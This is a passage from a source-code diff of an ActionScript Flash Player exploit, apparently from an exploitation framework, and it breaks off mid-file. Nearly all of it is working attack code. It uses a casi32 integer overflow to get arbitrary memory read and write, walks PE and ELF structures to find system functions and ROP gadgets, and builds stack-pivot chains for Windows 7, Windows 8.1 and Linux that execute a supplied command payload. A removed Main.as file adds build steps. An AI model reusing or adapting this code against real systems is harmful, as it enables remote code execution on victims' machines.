|
||||
ev.write(buffer_object + 8) // *array
|
||||
ev.write(buffer_object + 16, 0xffffffff) // capacity
|
||||
}
|
||||
eba.lets_ready()
|
||||
}
|
||||
|
||||
private function restore_byte_array():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
|
||||
if (platform == "linux")
|
||||
{
|
||||
ev.write(buffer_object + 0x1c, buffer) // *array
|
||||
ev.write(buffer_object + 0x20, 1024) // capacity
|
||||
}
|
||||
else if (platform == "win")
|
||||
{
|
||||
ev.write(buffer_object + 8, buffer) // *array
|
||||
ev.write(buffer_object + 16, 1024) // capacity
|
||||
}
|
||||
eba.set_length(eba.original_length)
|
||||
}
|
||||
|
||||
private function do_rop():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop()")
|
||||
if (platform == "linux") {
|
||||
do_rop_linux()
|
||||
} else if (platform == "win") {
|
||||
if (op_system == "Windows 8.1") {
|
||||
do_rop_windows8()
|
||||
} else if (op_system == "Windows 7") {
|
||||
do_rop_windows()
|
||||
} else {
|
||||
return
|
||||
}
|
||||
} else {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
private function do_rop_windows():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop_windows()")
|
||||
var pe:PE = new PE(eba)
|
||||
var flash:uint = pe.base(vtable)
|
||||
var winmm:uint = pe.module("winmm.dll", flash)
|
||||
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
|
||||
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
|
||||
var createthread:uint = pe.procedure("CreateThread", kernel32)
|
||||
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||
|
||||
// Continuation of execution
|
||||
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
// Put the payload (command) in memory
|
||||
eba.write(payload_address + 8, payload, true); // payload
|
||||
|
||||
// Put the fake vtabe / stack on memory
|
||||
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||
eba.write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
eba.write(0, virtualalloc)
|
||||
eba.write(0, buffer + 0x10)
|
||||
eba.write(0, 0x1000)
|
||||
eba.write(0, 0x40)
|
||||
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||
|
||||
// VirtualAlloc
|
||||
eba.write(0, memcpy)
|
||||
eba.write(0, 0x7f6e0000)
|
||||
eba.write(0, 0x4000)
|
||||
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||
|
||||
// memcpy
|
||||
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||
eba.write(0, 0x7f6e0000)
|
||||
eba.write(0, payload_address + 8)
|
||||
eba.write(0, payload.length)
|
||||
|
||||
// CreateThread
|
||||
eba.write(0, createthread)
|
||||
eba.write(0, buffer + 0x10) // return to fix things
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0x7f6e0000)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
|
||||
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||
exploit.toString() // call method in the fake vtable
|
||||
}
|
||||
|
||||
private function do_rop_windows8():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop_windows8()")
|
||||
var pe:PE = new PE(eba)
|
||||
var flash:uint = pe.base(vtable)
|
||||
var winmm:uint = pe.module("winmm.dll", flash)
|
||||
var advapi32:uint = pe.module("advapi32.dll", flash)
|
||||
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
|
||||
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
|
||||
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
|
||||
var createthread:uint = pe.procedure("CreateThread", kernelbase)
|
||||
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||
|
||||
// Continuation of execution
|
||||
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
// Put the payload (command) in memory
|
||||
eba.write(payload_address + 8, payload, true); // payload
|
||||
|
||||
// Put the fake vtabe / stack on memory
|
||||
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||
eba.write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
eba.write(0, virtualalloc)
|
||||
eba.write(0, buffer + 0x10)
|
||||
eba.write(0, 0x1000)
|
||||
eba.write(0, 0x40)
|
||||
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||
|
||||
// VirtualAlloc
|
||||
eba.write(0, memcpy)
|
||||
eba.write(0, 0x7ffd0000)
|
||||
eba.write(0, 0x4000)
|
||||
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||
|
||||
// memcpy
|
||||
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||
eba.write(0, 0x7ffd0000)
|
||||
eba.write(0, payload_address + 8)
|
||||
eba.write(0, payload.length)
|
||||
|
||||
// CreateThread
|
||||
eba.write(0, createthread)
|
||||
eba.write(0, buffer + 0x10) // return to fix things
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0x7ffd0000)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
|
||||
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||
exploit.toString() // call method in the fake vtable
|
||||
}
|
||||
|
||||
private function do_rop_linux():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop_linux()")
|
||||
var flash:Elf = new Elf(eba, vtable)
|
||||
var feof:uint = flash.external_symbol('feof')
|
||||
var libc:Elf = new Elf(eba, feof)
|
||||
var popen:uint = libc.symbol("popen")
|
||||
var mprotect:uint = libc.symbol("mprotect")
|
||||
var mmap:uint = libc.symbol("mmap")
|
||||
var clone:uint = libc.symbol("clone")
|
||||
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
|
||||
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
|
||||
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
|
||||
|
||||
// Continuation of execution
|
||||
// 1) Recover original vtable
|
||||
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
// 2) Recover original stack
|
||||
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
|
||||
|
||||
// my_memcpy
|
||||
eba.write(buffer + 0x60, "\x56", false) // push esi
|
||||
eba.write(0, "\x57", false) // push edi
|
||||
eba.write(0, "\x51", false) // push ecx
|
||||
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
|
||||
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
|
||||
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
|
||||
eba.write(0, "\xF3\xA4", false) // rep movsb
|
||||
eba.write(0, "\x59", false) // pop ecx
|
||||
eba.write(0, "\x5f", false) // pop edi
|
||||
eba.write(0, "\x5e", false) // pop esi
|
||||
eba.write(0, "\xc3", false) // ret
|
||||
|
||||
// Put the popen parameters in memory
|
||||
eba.write(payload_address + 0x8, payload, true) // false
|
||||
|
||||
// Put the fake stack/vtable on memory
|
||||
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
|
||||
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
|
||||
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
|
||||
|
||||
// Return to mprotect()
|
||||
eba.write(stack_address + 0x18034, mprotect)
|
||||
// Return to stackpivot (jmp over mprotect parameters)
|
||||
eba.write(0, addesp2cret)
|
||||
// mprotect() arguments
|
||||
eba.write(0, buffer) // addr
|
||||
eba.write(0, 0x1000) // size
|
||||
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
|
||||
// Return to mmap()
|
||||
eba.write(stack_address + 0x18068, mmap)
|
||||
// Return to stackpivot (jmp over mmap parameters)
|
||||
eba.write(0, addesp2cret)
|
||||
// mmap() code segment arguments
|
||||
eba.write(0, 0x70000000) // 0x70000000
|
||||
eba.write(0, 0x4000) // size
|
||||
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||
eba.write(0, 0xffffffff) // filedes
|
||||
eba.write(0, 0) // offset
|
||||
|
||||
// Return to mmap()
|
||||
eba.write(stack_address + 0x1809c, mmap)
|
||||
// Return to stackpivot (jmp over mmap parameters)
|
||||
eba.write(0, addesp2cret)
|
||||
// mmap() stack segment arguments
|
||||
eba.write(0, 0x70008000) // NULL
|
||||
eba.write(0, 0x10000) // size
|
||||
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||
eba.write(0, -1) // filedes
|
||||
eba.write(0, 0) // offset
|
||||
|
||||
// Return to memcpy()
|
||||
eba.write(stack_address + 0x180d0, buffer + 0x60)
|
||||
// Return to stackpivot (jmp over memcpy parameters)
|
||||
eba.write(0, addesp2cret)
|
||||
// memcpy() parameters
|
||||
eba.write(0, 0x70000000)
|
||||
eba.write(0, payload_address + 0x8)
|
||||
eba.write(0, payload.length)
|
||||
|
||||
// Return to clone()
|
||||
eba.write(stack_address + 0x18104, clone)
|
||||
// Return to CoE (fix stack and object vtable)
|
||||
eba.write(0, buffer + 0x10)
|
||||
// clone() arguments
|
||||
eba.write(0, 0x70000000) // code
|
||||
eba.write(0, 0x7000bff0) // stack
|
||||
eba.write(0, 0x00000100) // flags CLONE_VM
|
||||
eba.write(0, 0) // args
|
||||
|
||||
//call DWORD PTR [eax+0x24]
|
||||
//EAX: 0x41414141 ('AAAA')
|
||||
//EDI: 0xad857088 ("AAAA\377")
|
||||
eba.write(main, stack_address + 0x18000)
|
||||
exploit.hasOwnProperty('msf')
|
||||
}
|
||||
|
||||
private function cleanup():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - cleanup()")
|
||||
spray = null
|
||||
stack = null
|
||||
payload_space = null
|
||||
eba = null
|
||||
ev = null
|
||||
exploit = null
|
||||
System.pauseForGCIfCollectionImminent(0)
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,32 @@
|
|||
package
|
||||
{
|
||||
import flash.external.ExternalInterface
|
||||
|
||||
public class Logger {
|
||||
private static const DEBUG:uint = 0
|
||||
|
||||
public static function alert(msg:String):void
|
||||
{
|
||||
var str:String = "";
|
||||
|
||||
if (DEBUG == 1)
|
||||
str += msg;
|
||||
|
||||
if(ExternalInterface.available){
|
||||
ExternalInterface.call("alert", str);
|
||||
}
|
||||
}
|
||||
|
||||
public static function log(msg:String):void
|
||||
{
|
||||
var str:String = "";
|
||||
|
||||
if (DEBUG == 1)
|
||||
str += msg;
|
||||
|
||||
if(ExternalInterface.available){
|
||||
ExternalInterface.call("console.log", str);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,285 +0,0 @@
|
|||
// Build how to:
|
||||
// 1. Download the AIRSDK, and use its compiler.
|
||||
// 2. Download the Flex SDK (4.6)
|
||||
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||
// 4. Build with: mxmlc -o msf.swf Main.as
|
||||
|
||||
// Original code skeleton by @hdarwin89 for other exploits
|
||||
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite
|
||||
import flash.utils.ByteArray
|
||||
import flash.system.ApplicationDomain
|
||||
import avm2.intrinsics.memory.casi32
|
||||
import flash.display.LoaderInfo
|
||||
import mx.utils.Base64Decoder
|
||||
|
||||
public class Main extends Sprite
|
||||
{
|
||||
private var BYTE_ARRAY_SIZE:Number = 1024
|
||||
private var defrag:Vector.<Object> = new Vector.<Object>(100)
|
||||
private var ov:Vector.<Object> = new Vector.<Object>(100)
|
||||
private var uv:Vector.<Object> = new Vector.<Object>(100)
|
||||
private var uv_index:uint
|
||||
private var ba:ByteArray
|
||||
private var b64:Base64Decoder = new Base64Decoder();
|
||||
private var payload:String = ""
|
||||
|
||||
public function Main()
|
||||
{
|
||||
var i:uint = 0
|
||||
var j:uint = 0
|
||||
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
payload = b64.toByteArray().toString();
|
||||
|
||||
for (i = 0; i < defrag.length; i++) {
|
||||
defrag[i] = new ByteArray()
|
||||
defrag[i].length = BYTE_ARRAY_SIZE
|
||||
defrag[i].endian = "littleEndian"
|
||||
}
|
||||
|
||||
ba = new ByteArray()
|
||||
ov[0] = ba
|
||||
ov[0].length = BYTE_ARRAY_SIZE
|
||||
ov[0].endian = "littleEndian"
|
||||
|
||||
for (i = 1; i < ov.length; i++) {
|
||||
ov[i] = new Vector.<Object>(1014)
|
||||
ov[i][0] = ba
|
||||
ov[i][1] = this
|
||||
}
|
||||
|
||||
for (i = 0; i < uv.length; i++) {
|
||||
uv[i] = new Vector.<uint>(1014)
|
||||
uv[i][0] = 0x41424344
|
||||
}
|
||||
|
||||
var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
|
||||
for (i = 1; i < ov.length; i++) {
|
||||
ov[i][2] = stack
|
||||
ov[i][3] = payload_space
|
||||
}
|
||||
|
||||
ApplicationDomain.currentDomain.domainMemory = ba;
|
||||
// Make ByteArray length 0 so the casi32 integer overflow
|
||||
// can be exploited
|
||||
ba.atomicCompareAndSwapLength(1024, 0)
|
||||
|
||||
var object_vector_pos:uint = search_object_vector()
|
||||
var byte_array_object:uint = read_byte_array(object_vector_pos + 4) - 1
|
||||
var stack_object:uint = read_byte_array(object_vector_pos + 12) - 1
|
||||
var payload_space_object:uint = read_byte_array(object_vector_pos + 16) - 1
|
||||
var main:uint = read_byte_array(object_vector_pos + 8) - 1
|
||||
var uint_vector_pos:uint = search_uint_vector()
|
||||
var object_vector_address:uint = read_byte_array(object_vector_pos - 16) + 12
|
||||
var uint_vector_address:uint = object_vector_address + (uint_vector_pos - object_vector_pos)
|
||||
|
||||
// Overwrite uint vector length
|
||||
var orig_length:uint = write_byte_array(uint_vector_pos, 0xffffffff)
|
||||
|
||||
for (i = 0; i < uv.length; i++) {
|
||||
if (uv[i].length > 1024) {
|
||||
uv_index = i
|
||||
uv[i][0] = uint_vector_address
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
var buffer_object:uint = vector_read(byte_array_object + 0x40)
|
||||
var buffer:uint = vector_read(buffer_object + 8)
|
||||
var stack_address:uint = vector_read(stack_object + 0x18)
|
||||
var payload_address:uint = vector_read(payload_space_object + 0x18)
|
||||
var vtable:uint = vector_read(main)
|
||||
|
||||
// Set the new ByteArray length
|
||||
ba.endian = "littleEndian"
|
||||
ba.length = 0x500000
|
||||
|
||||
// Overwite the ByteArray data pointer and capacity
|
||||
var ba_array:uint = buffer_object + 8
|
||||
var ba_capacity:uint = buffer_object + 16
|
||||
vector_write(ba_array)
|
||||
vector_write(ba_capacity, 0xffffffff)
|
||||
|
||||
// restoring the corrupted vector length since we don't need it
|
||||
// anymore
|
||||
byte_write(uv[uv_index][0], orig_length)
|
||||
|
||||
var flash:uint = base(vtable)
|
||||
var winmm:uint = module("winmm.dll", flash)
|
||||
var kernel32:uint = module("kernel32.dll", winmm)
|
||||
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
|
||||
var winexec:uint = procedure("WinExec", kernel32)
|
||||
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
|
||||
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
|
||||
|
||||
// Continuation of execution
|
||||
byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
|
||||
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
|
||||
byte_write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
// Put the payload (command) in memory
|
||||
byte_write(payload_address + 8, payload, true); // payload
|
||||
|
||||
// Put the fake vtabe / stack on memory
|
||||
byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||
byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||
byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||
byte_write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
byte_write(0, winexec)
|
||||
byte_write(0, buffer + 0x10)
|
||||
byte_write(0, 0x1000)
|
||||
byte_write(0, 0x40)
|
||||
byte_write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||
|
||||
// WinExec
|
||||
byte_write(0, buffer + 0x10)
|
||||
byte_write(0, payload_address + 8)
|
||||
byte_write(0)
|
||||
|
||||
byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||
|
||||
toString() // call method in the fake vtable
|
||||
}
|
||||
|
||||
// Methods to use the integer overflow
|
||||
|
||||
private function search_object_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
|
||||
var mem:uint = 0
|
||||
var mem_first_pos:uint = 0
|
||||
var next_length:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < limit; i = i + 4) {
|
||||
mem = read_byte_array(i)
|
||||
mem_first_pos = read_byte_array(i + 8)
|
||||
if (mem == pattern && mem_first_pos != 0x41424344) {
|
||||
return i;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
private function search_uint_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
|
||||
var mem:uint = 0
|
||||
var mem_first_pos:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < limit; i = i + 4) {
|
||||
mem = read_byte_array(i)
|
||||
mem_first_pos = read_byte_array(i + 8)
|
||||
if (mem == pattern && mem_first_pos == 0x41424344) {
|
||||
return i;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
private function read_byte_array(offset:uint = 0):uint {
|
||||
var old:uint = casi32(offset, 0xdeedbeef, 0xdeedbeef)
|
||||
return old
|
||||
}
|
||||
|
||||
private function write_byte_array(offset:uint = 0, value:uint = 0):uint {
|
||||
var old:uint = read_byte_array(offset)
|
||||
casi32(offset, old, value)
|
||||
return old
|
||||
}
|
||||
|
||||
// Methods to use the corrupted vector for arbitrary reading/writing
|
||||
|
||||
private function vector_write(addr:uint, value:uint = 0):void
|
||||
{
|
||||
addr > uv[uv_index][0] ? uv[uv_index][(addr - uv[uv_index][0]) / 4 - 2] = value : uv[uv_index][0xffffffff - (uv[uv_index][0] - addr) / 4 - 1] = value
|
||||
}
|
||||
|
||||
private function vector_read(addr:uint):uint
|
||||
{
|
||||
return addr > uv[uv_index][0] ? uv[uv_index][(addr - uv[uv_index][0]) / 4 - 2] : uv[uv_index][0xffffffff - (uv[uv_index][0] - addr) / 4 - 1]
|
||||
}
|
||||
|
||||
// Methods to use the corrupted byte array for arbitrary reading/writing
|
||||
|
||||
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||
{
|
||||
if (addr) ba.position = addr
|
||||
if (value is String) {
|
||||
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||
if (zero) ba.writeByte(0)
|
||||
} else ba.writeUnsignedInt(value)
|
||||
}
|
||||
|
||||
private function byte_read(addr:uint, type:String = "dword"):uint
|
||||
{
|
||||
ba.position = addr
|
||||
switch(type) {
|
||||
case "dword":
|
||||
return ba.readUnsignedInt()
|
||||
case "word":
|
||||
return ba.readUnsignedShort()
|
||||
case "byte":
|
||||
return ba.readUnsignedByte()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// Methods to search the memory with the corrupted byte array
|
||||
|
||||
private function base(addr:uint):uint
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (byte_read(addr) == 0x00905a4d) return addr
|
||||
addr -= 0x10000
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function module(name:String, addr:uint):uint
|
||||
{
|
||||
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
|
||||
var i:int = -1
|
||||
while (true) {
|
||||
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
|
||||
if (!entry) throw new Error("FAIL!");
|
||||
ba.position = addr + entry
|
||||
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
|
||||
if (dll_name == name.toUpperCase()) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
|
||||
}
|
||||
|
||||
private function procedure(name:String, addr:uint):uint
|
||||
{
|
||||
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
|
||||
var numberOfNames:uint = byte_read(eat + 0x18)
|
||||
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
|
||||
var addressOfNames:uint = addr + byte_read(eat + 0x20)
|
||||
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
|
||||
|
||||
for (var i:uint = 0; ; i++) {
|
||||
var entry:uint = byte_read(addressOfNames + i * 4)
|
||||
ba.position = addr + entry
|
||||
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||
}
|
||||
|
||||
private function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||
{
|
||||
var find:uint = 0
|
||||
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
|
||||
return addr + i
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,72 @@
|
|||
package
|
||||
{
|
||||
public class PE
|
||||
{
|
||||
private var eba:ExploitByteArray
|
||||
|
||||
public function PE(ba:ExploitByteArray)
|
||||
{
|
||||
eba = ba
|
||||
}
|
||||
|
||||
public function base(addr:uint):uint
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (eba.read(addr) == 0x00905a4d) return addr
|
||||
addr -= 0x10000
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
public function module(name:String, addr:uint):uint
|
||||
{
|
||||
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
|
||||
var mod_name:String
|
||||
|
||||
while (true) {
|
||||
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
|
||||
if (!entry) throw new Error("FAIL!");
|
||||
mod_name = eba.read_string(addr + entry, name.length)
|
||||
if (mod_name.toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
|
||||
}
|
||||
|
||||
public function procedure(name:String, addr:uint):uint
|
||||
{
|
||||
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
|
||||
var numberOfNames:uint = eba.read(eat + 0x18)
|
||||
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
|
||||
var addressOfNames:uint = addr + eba.read(eat + 0x20)
|
||||
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
|
||||
var proc_name:String
|
||||
|
||||
for (var i:uint = 0; ; i++) {
|
||||
var entry:uint = eba.read(addressOfNames + i * 4)
|
||||
proc_name = eba.read_string(addr + entry, name.length + 2)
|
||||
if (proc_name.toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||
}
|
||||
|
||||
public function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||
{
|
||||
var find:uint = 0
|
||||
var contents:uint = 0
|
||||
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
|
||||
for (var i:uint = 0; i < limit - 4; i++) {
|
||||
contents = eba.read(addr + i)
|
||||
if (hint == 0xffffffff && value == contents) {
|
||||
return addr + i
|
||||
}
|
||||
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||
return addr + i
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,235 @@
|
|||
package
|
||||
{
|
||||
public class Elf
|
||||
{
|
||||
private const PT_DYNAMIC:uint = 2
|
||||
private const PT_LOAD:uint = 1
|
||||
private const PT_READ_EXEC:uint = 5
|
||||
private const DT_SYMTAB:uint = 6
|
||||
private const DT_STRTAB:uint = 5
|
||||
private const DT_PLTGOT:uint = 3
|
||||
|
||||
private var e_ba:ExploitByteArray
|
||||
// elf base address
|
||||
public var base:uint = 0
|
||||
// program header address
|
||||
public var ph:uint = 0
|
||||
// number of program headers
|
||||
public var ph_size:uint = 0
|
||||
// program header entry size
|
||||
public var ph_esize:uint = 0
|
||||
// DYNAMIC segment address
|
||||
public var seg_dynamic:uint = 0
|
||||
// DYNAMIC segment size
|
||||
public var seg_dynamic_size:uint = 0
|
||||
// CODE segment address
|
||||
public var seg_exec:uint = 0
|
||||
// CODE segment size
|
||||
public var seg_exec_size:uint = 0
|
||||
// .dynsyn section address
|
||||
public var sec_dynsym:uint = 0
|
||||
// .synstr section address
|
||||
public var sec_dynstr:uint = 0
|
||||
// .got.plt section address
|
||||
public var sec_got_plt:uint = 0
|
||||
|
||||
public function Elf(ba:ExploitByteArray, addr:uint)
|
||||
{
|
||||
e_ba = ba
|
||||
set_base(addr)
|
||||
set_program_header()
|
||||
set_program_header_size()
|
||||
set_program_header_entry_size()
|
||||
set_dynamic_segment()
|
||||
set_exec_segment()
|
||||
set_dynsym()
|
||||
set_dynstr()
|
||||
set_got_plt()
|
||||
}
|
||||
|
||||
public function external_symbol(name:String):uint {
|
||||
var entry:uint = 0
|
||||
var st_name:uint = 0
|
||||
var st_value:uint = 0
|
||||
var st_size:uint = 0
|
||||
var st_info:uint = 0
|
||||
var st_other:uint = 0
|
||||
var st_shndx:uint = 0
|
||||
var st_string:String = ""
|
||||
var got_plt_index:uint = 0
|
||||
|
||||
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
|
||||
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||
st_name = e_ba.read(entry)
|
||||
st_value = e_ba.read(entry + 4)
|
||||
st_info = e_ba.read(entry + 0xc, "byte")
|
||||
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||
if (st_string == name) {
|
||||
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
|
||||
}
|
||||
if (st_info != 0x11) {
|
||||
got_plt_index++
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
public function symbol(name:String):uint {
|
||||
var entry:uint = 0
|
||||
var st_name:uint = 0
|
||||
var st_value:uint = 0
|
||||
var st_size:uint = 0
|
||||
var st_info:uint = 0
|
||||
var st_other:uint = 0
|
||||
var st_shndx:uint = 0
|
||||
var st_string:String = ""
|
||||
|
||||
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
|
||||
entry = sec_dynsym + 0x10 + (i * 0x10)
